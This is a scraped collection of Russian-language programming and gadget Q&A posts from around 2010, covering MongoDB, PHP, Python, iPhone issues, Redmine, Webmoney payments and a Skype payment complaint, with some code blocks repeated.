<li><font color="#0000ff">print</font> <b>len</b>(<font color="#cc6633">Component2</font>.connects) <font color="#696969"># 0</font></li>
<li> </li>
<li><font color="#008000">'''</font><br/>
<font color="#008000">Добавляем первому подклассу в объект коллекцию</font><br/>
<font color="#008000">'''</font></li>
<li>c1.<font color="#cc6633">connect</font>(c2)</li>
<li> </li>
<li><font color="#008000">'''</font><br/>
<font color="#008000">Проверяем кол-во элементов в подклассе 2</font><br/>
<font color="#008000">'''</font></li>
<li><font color="#0000ff">print</font> <b>len</b>(<font color="#cc6633">Component2</font>.connects) <font color="#696969"># 1 </font></li>
</ol></font>
PHP — как cоединяться с Mongo по требованию (отложенно)?
Модуль для работы с Mongo, входящий в комплекс поставки PHP предоставляет возможность соединяться с сервером не сразу — позволяя выбрать базу и коллекцию без установки соединения. Для этого есть вот такая конструкция:
$mongo = new \Mongo (MONGO_SERVER, array ("connect" => false));
Однако для того, чтобы выполнить любое действие с данными необходимо прежде вызвать $mongo->connect ().
В связи с чем возник вопрос — быть может уже есть готовое решение, некий слой для работы с Mongo наподобие Zend_Db или Rediska, где это уже реализовано?
Соединяться каждый раз — бессмысленно, изобретать велосипед — тоже не хочется, обратился к коллективному разуму :-)
iPhone не видит сетевой USB адаптер
iPhone 3g не реагирует на подключение зарядного сетевого USB адаптера (китайского). Причем адаптер нормально заряжает другие устройства и выдает нормальный вольтаж. USB шнур вроде тоже в порядке, с ноутбука заряжает нормально. В чем может быть причина?
MongoDB хостинг в России уже есть?
Собственно интересует есть ли аналоги mongohq.com и хостинги поддерживающие MongoDB расширения под разные языки?
Вызов сохраненных JavaScript функций в MongoDB из PHP
Имеем функцию сохраненную в db.system.js с именем AutoID
function (n,o) {
x = db.getCollection(n);
while( 1 ) {
var c = x.find({},{id:1}).sort({id:-1}).limit(1);
var i = c.hasNext() ? c.next().id + 1 : 1;
o.id = i;
x.insert(o);
var err = db.getLastErrorObj();
if( err && err.code ) {
if( err.code == 11000 /* dup key */ )
continue;
else
print("unexpected error inserting data: " + tojson(err));
}
break;
}
}
Из консоли все работает замечательно
db.eval("AutoID('Users',{'name':'Tenkoff'})");
А вот как вызвать это чудо в PHP так и не понял, может кто объяснить/показать?
x = db.getCollection(n);
while( 1 ) {
var c = x.find({},{id:1}).sort({id:-1}).limit(1);
var i = c.hasNext() ? c.next().id + 1 : 1;
o.id = i;
x.insert(o);
var err = db.getLastErrorObj();
if( err && err.code ) {
if( err.code == 11000 /* dup key */ )
continue;
else
print("unexpected error inserting data: " + tojson(err));
}
break;
}
}
Вопрос по настройке билдов в TFS 2010
Помогите новичку.
Есть solution, в котором есть web-проект, проект с логикой и проект базы данных. И есть три вопроса по настройке билдов.
1) Как сделать так, что бы при билде на тестовый сервер заменялись ConnectionString в web.config с локальной базы разработчиков на тестовую?
2) Как сделать deploy проекта базы данных при каждом билде?
3) Где вообще можно подробно обо всем этом почитать? Желательно на русском.
Стоит ли использовать Mongo?
Приветствую!
В последнее время все чаще слышу упоминания про NoSQL и MongoDB в частности. Тема меня заинтересовала, но вот пока не могу найти интересующей меня информации, поэтому спрошу здесь — наверняка уже многие успели поэкспериментировать, а может и разработать серьезные высоконагруженные приложения в связке с MongoDB.
Заранее предупрежу, если где-то я ошибся в отношении MongoDB — я не специально. Просто я с ней еще даже не пытался работать, а лишь почитывал статьи на Хабре, да те примеры, что лежат на оф.сайте.
Сейчас я занимаюсь разработкой тизерной сети. Задача, на первый взгляд кажущаяся тривиальной, на деле выходит довольно хитровыделанной в плане организации структуры БД. Огромное кол-во связей, множество таблиц-посредников для связей М-М и т.д… Чем меня привлекла идея MongoDB, так это своим принципом построения связей. Вопрос №1:
действительно ли работа с МонгоБД при наличии кучи связей менее затратна в плане ресурсов? Ну, хотя бы на простейшем примере (буду писать на «псевдо SQL») — выборка из 2 таблиц, связанных отношением М-М через промежуточную таблицу:
table sites(
id int primary key auto_increment,
url varchar
)
table categories(
id int primary key auto_increment,
name varchar
)
table sites_categories(
site_id int,
category_id int
)
Задача вывести список сайтов и категорий, в которых он есть:
SELECT * FROM sites
while(SITE = mysql_result...)
{
//отображаем данные сайта
SELECT * FROM categories WHERE id IN (SELECT category_id FROM sites_categories WHERE site_id = SITE)
//в цикле отображаем категории
}
Также меня интересует, можно ли работать одновременно с MySQL и MongoDB? Вернее, насколько это будет правильно? Полностью переносить БД на Монго не хочется, лишь отдельные, особо-хитрые участки, нагрузка на которых выше, чем хочется.
Также читал, что в MongoDB можно беспроблемно хранить файлы — действительно ли это так и что же будет лучше — хранить по-старинке в специальной папке с подкаталогами по именам/ид пользователей, или использовать MongoDB? (допустим, при таком раскладе: пользователей около 1к, у каждого 40-50 небольших картинок. картинки отдаются в кол-ве примерно 100-150 в минуту.
P.S.: прошу прощения за возможные неточности в вопросах, излишнюю или недосказанную информацию о нуждах и текущем положении дел, разработка структур БД — не мое основное достоинство…
Хотелось бы помощи от разработчиков под Windows phone 7?
В приложении, используя класс HttpWebRequest и Uri «https://google.com», при попытке получить HttpWebResponse вываливается WebException {«The remote server returned an error: NotFound.»}. И такая история со всеми https сайтами.
Что может быть не так?
Как убрать вертикальные отступы у <button> в Safari на iPhone?
В Mobile Safari(прошивка 4.0.1) у <button>'а отступы по краям от текста, паддинги обнулены, -webkit-appeareance:none работает в обычном(десктопном) Safari, но не в мобильной версии. Может кто сталкивался?
пример
button {<br/>
background:pink;<br/>
border:none;<br/>
border-radius:5px;<br/>
color:black;<br/>
cursor:pointer;<br/>
font-size:150%;<br/>
margin:0;<br/>
padding:0;<br/>
position:relative;<br/>
top:30%;<br/>
text-shadow:0 0 1px white;<br/>
overflow:visible;<br/>
-webkit-appearance:none;<br/>
-webkit-box-shadow:0 1px 3px rgba(0, 0, 0, 0.5);<br/>
}<br/>
button {<br/>
background:pink;<br/>
border:none;<br/>
border-radius:5px;<br/>
color:black;<br/>
cursor:pointer;<br/>
font-size:150%;<br/>
margin:0;<br/>
padding:0;<br/>
position:relative;<br/>
top:30%;<br/>
text-shadow:0 0 1px white;<br/>
overflow:visible;<br/>
-webkit-appearance:none;<br/>
-webkit-box-shadow:0 1px 3px rgba(0, 0, 0, 0.5);<br/>
}<br/>
Синхронизация заметок с gmail аккаунтом на iOS 4.1
После обновления айфона 3ж на iOS 4.1, пропала функция синхронизации заметок с gmail аккаунтом. Можно ли как нибудь исправить этот момент и вернуть всё как было в 4.0.х?
Как работать с постоянно изменяющейся базой в системе контроля версий?
Используем subversion, MySQL, NetBeans.
Хотелось бы чтобы окромя кода база тоже находилась бы в svn. База проекта обновляется достаточно часто. Как с наименьшими трудозатратами обновлять, фиксировать и т.п. таблицы, процедуры, вьюшки и т.п.?
Оплата подрядчику с помощью Webmoney
Я юр.лицо и мне периодически приходится платить подрядчикам (фрилансерам) за оказанные услуги. Большинство из них просят перевести деньги не на расчетный счет в банке, а на WMR. Может быть кто-то имел опыт работы с Webmoney как юр.лицо. Как можно правильно и законно оформить WMR кошелек на юр.лицо и при этом, чтобы по бухгалтерии всё было в порядке? Какие тонкости в договоре?
аналог target-densitydpi=device-dpi для iPhone 4
У андроида есть чудный мета-таг для viewport, который выключает масштабирование для дисплеев с высоким разрешением.
Есть ли что-либо подобное для айфонов с Retina Display? Я знаю, что можно подключать альтернативные стили используя media query, но при этом в Javascript screen.width & screen.height всё равно возвращают масштабированные значения.
Безопасно ли вставлять JSON в HTML
Безопасно ли вставлять JSON со строками, полученными от пользователя, непосредственно в код страницы через тег script? Нельзя ли при этом с помощью специальных html-последовательностей нарушить JSON, сделав XSS? JSON генерируется PHP-функцией json_encode.
Пример.
$queryData = json_encode(array('query' => isset($_GET['query']) ? $_GET['query'] : '', ...));
Шаблон страницы:
<script type="text/javascript">
<?php echo 'var queryData = ' . $queryData . ';' ?>
</script>
$queryData = json_encode(array('query' => isset($_GET['query']) ? $_GET['query'] : '', ...));<script type="text/javascript">
<?php echo 'var queryData = ' . $queryData . ';' ?>
</script>
Как вывести с Webmoney сумму более 100 тыс рублей?
Как лучше вывести крупную (от 100 000 руб) сумму с вебмани?
Какую карточку и где лучше завести?
Не передаст ли банк информацию в налоговоу службу?
Многопоточное программирование?
Где бы почитать про эту вещь в хорошем теоретическом аспекте, где были бы освещены паттерны, примеры, проблемы, хитрости и тому подобное?
Желательно в применении к Python, но это не столь важно, куда важнее получить базис.
А то пытаюсь реализовать некоторые вещи, а понимаю, что не знаю основ проектирования многопоточных приложений и создается ощущение, что клею обои через замочную скважину.
Пропал FaceTime на iPhone4 (iOS 4.1)?
Куда-то бесследно пропал FaceTime с айфона. Даже после полного ресета не работает. Хотя, айфон подозревает об этой фукнции и каждый раз уведомляет, при обращении сторонних программ к адресной книге.
Кто-нибудь сталкивался с подобной проблемой?
Оператор МТС, (где-то читал на форуме, что это зависит от оператора)
Разработка приложений для iphone
В чем плюсы и минусы использования той или иной платформы для программирования приложений айфона. В частности интересует flash и objective c. Какой платформой вы бы рекомендовали пользоваться, или возможно интересно как то совмещать их положительные стороны, дабы избавиться от отрицательных. Спасибо за ответы.
Плавная анимация 30-100 объектов на ActionScript 3
Хочу сделать для своей Flash игры анимацию воздушными шариками которые пролетают через экран при успешном прохождении уровня.
Но не получается сделать это плавно и что бы еще и процессор не отжирало сильно.
Шарики у меня это муви клипы, которым я рандомно изменяю размер в большую и меньшую сторону, что бы создать впечатление «разных» шариков. Движение шариков делаю с использованием библиотеки TweenMax.
Но результат меня удручает своим качеством.
вот кусок кода который я использую:
public static function randomScale(shape: DisplayObject, ll: Number, ul: Number): void
{
var sc: Number = 1 + Math.random() * ((Math.random() < 0.5) ? 1 : -1);
sc = ((sc < ll) || (sc > ul)) ? 1 : sc;
if (sc != 1)
{
shape.scaleX = sc;
shape.scaleY = sc;
}
}
/**
* Произвести запуск объектов в полет от низа контейнера к верху, можно использовать для оформления прохождения уровня.
*
* @param parent - родительский контейнер внутри которого будут летать объекты.
* @param duration - длительность анимации.
* @param delayMax - максимальная задержка перед анимацией.
* @param deltaX - максимальное отклонение по координате X в лево или право, для придания естественности поведения.
* @param scale - применять изменение масштаба объектов в диапазоне от 0.7 до 1.5.
* @param callback - функция вызываемая по окончанию анимации.
*/
public static function fly(parent: DisplayObjectContainer, shapes: Vector.,
duration: Number, delayMax: Number,
deltaX: uint,
scale: Boolean = false,
callback: Function = null): void
{
// получаем габариты родительского контейнера
var w: uint = parent.width;
var h: uint = parent.height;
var cnt: uint = shapes.length;
// запускаем объекты один за одним
for each (var shape: MovieClip in shapes)
{
// случайное положение объекта
shape.x = Math.round(Math.random() * w);
shape.y = h + 5; // исходно объекты находятся внизу
shape.visible = false;
// изменение масштаба объекта в небольшм диапазоне
if (scale)
{
randomScale(shape, 0.7, 1.5);
}
parent.addChild(shape);
// запускаем анимацию полета
TweenMax.to(shape, duration, // длительность анимации
{delay: delayMax * Math.random(), // произвольная задержка 0...delayMax секунды, что бы выглядело естественно
x: shape.x + (Math.round(Math.random() * deltaX * 2) - deltaX), // точка назначения отличается ± deltaX от исходной
y: -150, // объекты улетают за границу экрана
ease: Linear.easeIn, // объекты летят с линейной скоростью
visible: false, // в конце они становятся невидимыми
onInit: showShape,
onInitParams: [shape],
onComplete: removeShape, // метод для зачистки по окончании анимации
onCompleteParams: [shape]
});
}
function showShape(child: MovieClip): void
{
child.visible = true;
}
/** Зачистка по окончании анимации */
function removeShape(child: MovieClip): void
{
// удаляем объекты из контейнера по окончанию анимации
parent.removeChild(child);
}
}
}
{
var sc: Number = 1 + Math.random() * ((Math.random() < 0.5) ? 1 : -1);
sc = ((sc < ll) || (sc > ul)) ? 1 : sc;
if (sc != 1)
{
shape.scaleX = sc;
shape.scaleY = sc;
}
}
/**
* Произвести запуск объектов в полет от низа контейнера к верху, можно использовать для оформления прохождения уровня.
*
* @param parent - родительский контейнер внутри которого будут летать объекты.
* @param duration - длительность анимации.
* @param delayMax - максимальная задержка перед анимацией.
* @param deltaX - максимальное отклонение по координате X в лево или право, для придания естественности поведения.
* @param scale - применять изменение масштаба объектов в диапазоне от 0.7 до 1.5.
* @param callback - функция вызываемая по окончанию анимации.
*/
public static function fly(parent: DisplayObjectContainer, shapes: Vector.,
duration: Number, delayMax: Number,
deltaX: uint,
scale: Boolean = false,
callback: Function = null): void
{
// получаем габариты родительского контейнера
var w: uint = parent.width;
var h: uint = parent.height;
var cnt: uint = shapes.length;
// запускаем объекты один за одним
for each (var shape: MovieClip in shapes)
{
// случайное положение объекта
shape.x = Math.round(Math.random() * w);
shape.y = h + 5; // исходно объекты находятся внизу
shape.visible = false;
// изменение масштаба объекта в небольшм диапазоне
if (scale)
{
randomScale(shape, 0.7, 1.5);
}
parent.addChild(shape);
// запускаем анимацию полета
TweenMax.to(shape, duration, // длительность анимации
{delay: delayMax * Math.random(), // произвольная задержка 0...delayMax секунды, что бы выглядело естественно
x: shape.x + (Math.round(Math.random() * deltaX * 2) - deltaX), // точка назначения отличается ± deltaX от исходной
y: -150, // объекты улетают за границу экрана
ease: Linear.easeIn, // объекты летят с линейной скоростью
visible: false, // в конце они становятся невидимыми
onInit: showShape,
onInitParams: [shape],
onComplete: removeShape, // метод для зачистки по окончании анимации
onCompleteParams: [shape]
});
}
function showShape(child: MovieClip): void
{
child.visible = true;
}
/** Зачистка по окончании анимации */
function removeShape(child: MovieClip): void
{
// удаляем объекты из контейнера по окончанию анимации
parent.removeChild(child);
}
}
}
Python. С чего начать учить?
Хочу кодить под Убунту, ну и просто выучить Python.
С чего начать? Что читать, где взять, что и как?
Спам от beeline(?) на iPhone?
Всем привет. Сегодня избавился от маленького мамонта из 2003 годов и достал с полки iPhone 2g.
Как только вставил симку от пчелайна сразу пришло уведомление аля:
'Бесплатно! всё о чем днем можно только мечтать становится доступно ночью'
Отменить Принять.
Эта хреновина пришла не как СМС а я даже не знаю что.
Как звонок входящий прямо…
Как от этого избавится? Как это называется? Это билайн?
До этого телефон был вообще с USA симкой и за пару лет использования НИ РАЗУ такого не видел (в штатах естественно)!
Словари на Amazon Kindle?
Я изучаю французский и хотел бы установить франо-русский словарь в киндл 3го поколения.
К сожаления я не смог найти ни словаря ни инструкцию, как это делать.
Вы знаете что-либо по этому вопросу?
Объясните, зачем нужны документо-ориентированные БД (MongoDB)?
Сабж. Вот не пойму я. Приведите пожалуйста побольше практических решений примения. Для Business-сектора, например.
Django + MongoDB?
Собственно вопрос. Как можно заставить Django работать с MongoDB или вообще с noSQL базами данных.
Спасибо
Ruby on Rails 3 validation model
Предположим у нас есть User модель и в ней есть first_name, last_name, email поля. Все они обязательные. Соотвественно в модели мы прописываем
что-то типа такого
validates :first_name, :presence => true
validates :last_name, :presence => true
validates :email, :presence => true
и все было бы хорошо если бы форма была на одной странице.
А теперь вопрос, как поступть с validation если форма для апдейта first_name и last_name на одной странице а email на другой.
По умолчанию так сказать на форме где first_name и last_name если ее засабмитеть то будет ошибка что мол email требуется и это верно (у меня же email на другой странице нужно обновлять), тоже самое и на форме email где валидация будет просить first_name и last_name. Меня интересует как в Rails 3 корректно обрабатывать такую ситуацию.
К примеру в ASP.NET MVC я делаю как бы child ViewModel непосредственно для конкретного View проверяю поля и потом делаю маппинг свойств с родительской моделью. Как правильно это сделать в Rails 3?
Не могу запустить redmine :(
Добрый день, коллеги.
Понадобилось мне поставить development версию redmine, дабы посмотреть как там одна функциональность устроена. Но так как веб разработка — не мой профиль, то как и ожидалось ничего не получилось :(. Вроде бы делаю все по феншую, в полном соответствии с инструкцией на redmine.org, на дружественной MacOS — но не работает. Если у кого есть опыт установки redmine — подскажите, что это может быть.
ОС: Mac OS X Snow Leopard со всеми обновлениями.
Ruby: 1.8.7
Rails: 2.3.5
Rack: 1.0.1
Выполняю следующие команды:
svn checkout redmine.rubyforge.org/svn/tags/1.0.2 redmine
cd redmine
cp config/database.yml.example config/database.yml
vi config/database.yml
Меняю production и development на SQLite
rake generate_session_store
RAILS_ENV=development rake db:migrate
RAILS_ENV=development rake redmine:load_default_data
ruby script/server -e development
Сервер запускается, главная страница Redmine доступна на хттп://0.0.0.0:3000
После логина admin/admin при попытке зайти в profile получаем:
ArgumentError in My#account
Showing app/views/my/_sidebar.rhtml where line #4 raised:
wrong number of arguments (2 for 0)
Extracted source (around line #4):
1: <%=l(:label_my_account)%>
2:
3: <%=l(:field_login)%>: <%= @user.login %>
4: <%=l(:field_created_on)%>: <%= format_time(@user.created_on) %>
5:
6:
7: <%= l(:label_feeds_access_key) %>
Trace of template inclusion: app/views/my/account.rhtml
RAILS_ROOT: /Users/eye/rails/redmine
То же самое в trunk и при production. Ошибку понять не могу, по коду идет абсолютно валидный вызов метода о двух параметрах с двумя аргументами — в трейсе же написано что у вызываемого метода не два параметра, а ноль. Либо я совсем не знаю синтаксиса ruby, либо рефлекшн с полиморфизмом постарались :(.
cd redmine
cp config/database.yml.example config/database.yml
vi config/database.yml
Меняю production и development на SQLite
rake generate_session_store
RAILS_ENV=development rake db:migrate
RAILS_ENV=development rake redmine:load_default_data
ruby script/server -e development
Showing app/views/my/_sidebar.rhtml where line #4 raised:
wrong number of arguments (2 for 0)
Extracted source (around line #4):
1:
<%=l(:label_my_account)%>
2:
3: <%=l(:field_login)%>: <%= @user.login %>
4: <%=l(:field_created_on)%>: <%= format_time(@user.created_on) %>
5:
6:
7:
<%= l(:label_feeds_access_key) %>
Trace of template inclusion: app/views/my/account.rhtml
RAILS_ROOT: /Users/eye/rails/redmine
Проблема связи php и python через memcached?
если совершается set из php в memcache то при попытке сделать get по такому ключу из python получаю:
>>> import sys; print('%s %s' % (sys.executable or sys.platform, sys.version))<br/>
/usr/bin/python2.6 2.6.6 (r266:84292, Sep 15 2010, 15:52:39) <br/>
[GCC 4.4.5]<br/>
>>> import memcache<br/>
>>> import binascii<br/>
>>> m=memcache.Client(['127.0.0.1:11211'], debug=0)<br/>
>>> def php_hash(key):<br/>
... return (binascii.crc32(key) >> 16) & 0x7fff<br/>
... <br/>
>>> m.get((php_hash(mfd.php_nexttime), mfd.php_nexttime))<br/>
Traceback (most recent call last):<br/>
File "", line 1, in NameError: name 'mfd' is not defined<br/>
>>> m.get((php_hash('mfd.php_nexttime'), 'mfd.php_nexttime'))<br/>
Traceback (most recent call last):<br/>
File "", line 1, in File "/usr/lib/pymodules/python2.6/memcache.py", line 779, in get<br/>
return self._get('get', key)<br/>
File "/usr/lib/pymodules/python2.6/memcache.py", line 766, in _get<br/>
value = self._recv_value(server, flags, rlen)<br/>
File "/usr/lib/pymodules/python2.6/memcache.py", line 915, in _recv_value<br/>
return val<br/>
UnboundLocalError: local variable 'val' referenced before assignment<br/>
<br/>
Устал гуглить может кто ни будь сталкивался?
>>> import sys; print('%s %s' % (sys.executable or sys.platform, sys.version))<br/>
/usr/bin/python2.6 2.6.6 (r266:84292, Sep 15 2010, 15:52:39) <br/>
[GCC 4.4.5]<br/>
>>> import memcache<br/>
>>> import binascii<br/>
>>> m=memcache.Client(['127.0.0.1:11211'], debug=0)<br/>
>>> def php_hash(key):<br/>
... return (binascii.crc32(key) >> 16) & 0x7fff<br/>
... <br/>
>>> m.get((php_hash(mfd.php_nexttime), mfd.php_nexttime))<br/>
Traceback (most recent call last):<br/>
File "", line 1, in NameError: name 'mfd' is not defined<br/>
>>> m.get((php_hash('mfd.php_nexttime'), 'mfd.php_nexttime'))<br/>
Traceback (most recent call last):<br/>
File "", line 1, in File "/usr/lib/pymodules/python2.6/memcache.py", line 779, in get<br/>
return self._get('get', key)<br/>
File "/usr/lib/pymodules/python2.6/memcache.py", line 766, in _get<br/>
value = self._recv_value(server, flags, rlen)<br/>
File "/usr/lib/pymodules/python2.6/memcache.py", line 915, in _recv_value<br/>
return val<br/>
UnboundLocalError: local variable 'val' referenced before assignment<br/>
<br/>
Устал гуглить может кто ни будь сталкивался?
Разработка проекта на разных компьютерах
Есть проект — сайт, хостится на виртуальном хостинге.
Его разработка ведется одним человеком (мной =) на макбуке и большом домашнем desktop'е. Иногда надо что-то сделать в дороге, делаю на макбуке и потом фтп заливаю на фтп хостинга. Дома на десктопе приходится сливать с хостинга себе обратно и работать дальше.
Какое средство можете посоветовать, чтобы оптимизировать эту схему с меньшими затратами (работать в дороге, грузить с/на фтп и т.д)?
З.Ы. Важно удобство и на Mac, и на Windows. И попроще желательно…
350   10   20:30, 3rd August, 2020
DLNA сервер под Linux без гуя
В связи с покупкой PS3 хотелось бы поднять на домашнем сервере (Debian Squeeze) медиа-сервер, который бы мог бы транслировать видео и желательно аудио с сервера на приставку. Погуглив, узнал что это возможно по стандарту DLNA. Так как на сервере нет иксов, хотелось бы что-то вроде демона. Кто сталкивался, посоветуйте?
3d в as 3
Поделитесь наиболее качественными материалами по разработке трех-мерных интерфейсов на Actionscript 3, можно ли в коде использовать координату z, или для этого обязательно использовать какой то «3д двигатель» ) спасибо
Модули для Python2.7 в mint 10
Я поставил минт 10-й. Там по умолчанию установлен интерпритатор 2.6.6, но через менеджер пакетов можно установить 2.7, что я и сделал.
Проблема в том, что при установке модулей из менеджера(майэскьюэльдэбэ, джанго и так далее) они ставятся на 2.6.6, в 2.7 же их можно ставить только через скачивание пакетов и командную строку.
Можно ли както заставить менеджер пакетов выбирать, на какой пайтон ставить модули, или чтобы он всегда ставил их на 2.7?
PS3 через AdHoc?
Приветствую.
Недавно обзавелся приставкой PS3. Для подключения к интернету требуется либо wifi, либо сетевой шнур.
К сожалению, в данный момент, у меня нет возможности иметь нормальный интернет дома и поэтому я получаю его через 3g сеть (трафик у меня не ограничен), используя айфон 4. Через айфон существует возможность создать AdHoc сеть чтобы делиться интернетом с другими девайсами (например ноутбуками, айпадами и т.д..). По какой-то причине PS3 отказывается находить AdHoc сеть. Дальнейшие поиски в интернете показали что только нормальные беспроводные сети разпознаются Ps3 для подключения.
У кого-нибудь был опыт подключения Playstation 3 к интернету через AdHoc в обход запретам прошивки или быть может в связке с wireless router можно как-то создать нормальную домашнюю сеть с доступом в интернет?
Заранее спасибо.
Как синхронизировать версию базы данных MySQL и кода веб-приложения при разработке?
Исходные данные:
1) веб-приложение на php (ну да это не важно на каком языке), лежащее в git (ну или другой CVS)
2) база данных MySQL
3) Весь SQL-код хранится в БД в виде хранимых процедур.
Как поддерживать синхронизацию кода приложения и структуру БД и хранимые процедуры?
С процедурами дело конечно обстоит проще — можно каждую процедуру положить в отдельный файл, который отслеживается в git (ну или другой CVS)
А вот как быть со структурой таблиц? Генерить ручками при каждом изменении ALTER TABLE и класть их в отдельные файлы — трудоемко.
Может есть какие-то утилиты, которые позволяют делать это автоматически, а-ля Oracle Database Version Control?
Хочется иметь возможность при обновлении версии приложения — выполнить один sql-скрипт, который обновит базу данных. Если конечно такое возможно.
как прицепить в svn код из другого репозитория?
В проекте используются сторонние библиотеки.
Они живут в своих репозиториях, хочется иметь возможность их оттуда обновлять, и хранить нужную ревизию в нашем репозитории.
По каким ключевым словам грепать svn мануал?
Вызов python3 скрипта из java?
Пользуюсь на домашнем сервачке для скачки торрентов uTorrent for Linux.
Он имеет один большой (для меня) недостаток — в нем нет возможности определить, в какую папку загружать данный конкретный торрент.
Есть скрипт на python3, который помогает решить эту задачу.
Здесь находится ветка его обсуждения.
Хотел написать к нему небольшую десктопную морду, в которой можно будет ввести абсолютный путь на сервере, куда сохранять, выбрать торрент, который скачивать и вводить логин-пароль для сервера.
Столкнулся с тем, что не знаю, как вызывать питонский скрипт из джавы.
Прошу помощи.
Подскажите пожалуйста систему контроля за программистом
есть ли простая и удобная система для учёта затраченного времени программистом и просмотра результата, строчек кода? есть SVN, redmine, но там всё вручную, хотелось бы автоматизировать процесс, чтобы после обновления SVN, был виден результат и затраченное время
300   5   11:55, 8th August, 2020
Стоит ли сейчас python-щику изучать Java или C++?
Заранеее извиняюсь, если вопрос покажется холиварным.
Поэтому прошу без эмоций.
Собственно ситуация следующая:
знаю python и django 2 года,
но хочется выучить статически-компилируемый язык, да и в целом чего-то более серьезного.
Область: web server-side.
В общем-то все бы ничего, python очень хорош, но вакансий мало.
В будущем планирую зарубеж, поэтому по вакансиям ориентируюсь на:
www.monster.com/
www.dice.com/
по java/c++ в десятки раз вакансий больше.
Начал изучать java, но в свете последних непонятных событий с java желание слегка убавляется.
Прошу помощи у сообщества, хотелось бы услышать советы в какую сторону стоит копать,
нужно что-либо кроссплатформенное (поэтому .NET отпадает).
c++ не знаю, и по алгоритмам в общем-то тоже не особо силен.
пока видятся следующие претенденты на ближайшее изучение:
— java (собственное стоит ли бояться за ее будущее?)
— c++
— c
— go
— erlang
— c#
Спасибо за любую информацию.
На чем писать сайт под Iphone+Android+желательно Opera
Приветствую всех,
вобщем есть идея сервиса для мобильных устройств, подскажите на чём лучше делать интерфейс.
Пожалуйста отвечайте только если Вы сами использовали фреймворк, потому как их дофига и я их все видел, просто хочу понять что реально работает.
Всем спасибо
Регистрация в Amazon web services?
Регистрация там, как регистрация кроме одного пункта — мне должны позвонить и я должен им передать код, который они выдали во время регистрации. Вопрос — как передать код?
Допустим код — 1234.
Я должен продиктовать 1-2-3-4 или сказать одна тысяча двести тридцать четыре? Погуглив кто-то рассказывал что можно не рассказывать, а ввести через телефон. Как ввести? Что нажать до, что после?
Выжать все соки из VPN на Linksys WRT54GL?
Всем привет.
Недавно поймал себя на мысли, что после подключения к интернету через вышеупомянутый роутер по L2TP, скорость закачки не выше 10Мбит/сек из 25Мбит/сек возможных.
Если подключать компьютер без роутера — все хорошо, и скорость доступна вся (25Мбит/сек).
Роутер Linksys WRT54GL с родной прошивкой, актуальная версия.
Пробовал ставить Tomato — не заметил особых изменений скорости, но роутер периодически стал подвисать. С DD-WRT что-то подобное наблюдалось.
Есть ли возможность выжать больше скорости из роутера?
Библиотеки Python, для научных расчетов?
Есть какие-нибудь библиотеки, которые по известным формулам и значениям эксперимента, определяют его коэффициенты?
Пример:
-2.84 = k3*82.19 + k4*15.42 + k9*0.73
0.08 = -k1*15.12 + k2*11.08 + k6*7.43 — k9*…
1.58…
0.001…
Нужно найти все k в этом.
UPD:
В некоторых уравнениях неизвестно по 3 по 4 k — их можно только или подобрать, или я не знаю, что…
Amazon AWS. Возможность stop/start?
Здравствуйте.
Никак не могу найти в чем причина. Некоторые AMI (instance) на Ubuntu могут останавливаться и стартовать, а некоторые только terminate. Никак не могу понять почему.
Как научить существующую готовую AMI (например ami-294aa340) останавливаться и стартовать?
Корпус iPhone 3g
Появилась трещина возле usb разъема на моём iphone 3g 8GB, подскажите где можно заказать эту крышку за адекватную стоимость?
Спасибо.
Как создать претензию в арбитраж вебмани через mini
Ситуация: кошелек привязан к киперу классик, но сейчас компьютер с ключиками от меня далеко, есть доступ к кошельку только через сервис mini.webmoney.ru.
Сейчас необходимо создать претензию по платежу. Как это сделать?
Принципы работы модема в Kindle 3 Wi-Fi+3G
Доброго дня, комрады!
Как известно, Kindle 3 Wi-Fi+3G позволяет воспользоваться 3G/EDGE/GPRS соединением с интернетом в более чем 100 странах, на основании соглашения между Амазон и провайдерами.
Однако было бы весьма интересным узнать, на каком основании провайдеры предоставляют бесплатный доступ. Как они идентифицируют устройства? По уникальному ID каждого встроенного модема? По версии браузера?
И чисто теоретический вопрос: если пользователи знают принципы идентификации, возможна ли эмуляция модема, либо его перепрошивка, либо физическое извлечение для использования впоследствии в связке с ПК?
Изложите свои мнения по данному вопросу!
Внимание! Пополняя счёт в Skype c WebMoney, вы рискуете выбросить деньги на ветер. Кто виноват и что делать?
Сначала хотел разместить нижеследующий текст в блоге «Я негодую», но, т.к. моя «слово_которое_нельзя_произносить» всего 1, вместо 5, вынужден разместить здесь, но с полагающимся вопросом, чтоб всё было по протоколу.
IP-телефония — вещь несомненно прекрасная, ведь именно благодаря ей каждый хабрачеловек (и, что характерно, не только) имеет возможность совершать звонки на огромные расстояния за смешные деньги, внося свою скромную лепту в богоугодное дело — борьбу с ветряными мельницами монополистами сотовой связи и прочими телекомами. И несмотря на то, что на Хабре частенько пускают лучи ненависти в сторону Skype, мол, и протокол у них закрытый, проприентарный, и клиентов альтернативных практически нет, а официальный не сказать, чтоб был идеален, и реализация оффлайн-сообщений, скажем так, немного спорная и т.д. и т.п., но, в основном, это придирки и дело вкуса. Скайпу оно не мешает прекрасно функционировать в качестве средства IP-телефонии. Однако, как выяснилось, есть ещё один нюанс, определенно неприятный: оказывается, есть вероятность, что при пополнении счета в Skype с WebMoney, деньги, подобно свиньям в небезызвестной истории, выпрыгивающим из поезда на ходу, могут потеряться по пути, а скайп и WebMoney будут перекладывать вину за случившееся друг на друга, что гораздо неприятнее самого факта пропажи денег. Но обо всем по порядку.
Смеркалось. Потребовалось мне совершить звонок на неблизкое расстояние. Естественно, для этой цели решил задействовать хорошее и проверенное средство — скайп. Однако, при попытке положить на счет в него свои кровные, выскочило сообщение об ошибке и о том, что платеж не проведен. «Не беда» — подумал я — «ведь если платеж не проведен, деньги по-прежнему должны быть у меня на счете. Ведь платеж не проведен». Как бы не так.
Первая волна удивления настигла меня, когда я заметил, что деньги с кошелька всё-таки снялись. «WTF?!!» — подумал я. Тем временем, на почту ко мне «упало» письмо оптимистичного содержания:
Здравствуйте, %username%!
www.skype.com
Проблемы с платежом
К сожалению, ваш платеж не прошел. Но причин для беспокойства нет, так как средства с вашей карты или счета переведены не были.
Информация о вашем заказе:
Логин Skype: %userlogin%
Сумма к оплате: %usermoney% USD
Дата платежа: 10.11.2010
Номер: 424379370
Статус заказа: Отклонен
Почему мой платеж был отклонен?
К сожалению, ваш банк отказался провести эту операцию. За подробной информацией обратитесь в свой банк.
Что мне делать?
Мы рекомендуем пользоваться PayPal – простым и быстрым способом оплаты через Интернет – или другим методом оплаты, например кредитными или дебетовыми карточками, системой Moneybookers, обычным банковским переводом или ваучерами. См. перечень способов оплаты продуктов Skype.
До скорого!
Ваш Skype
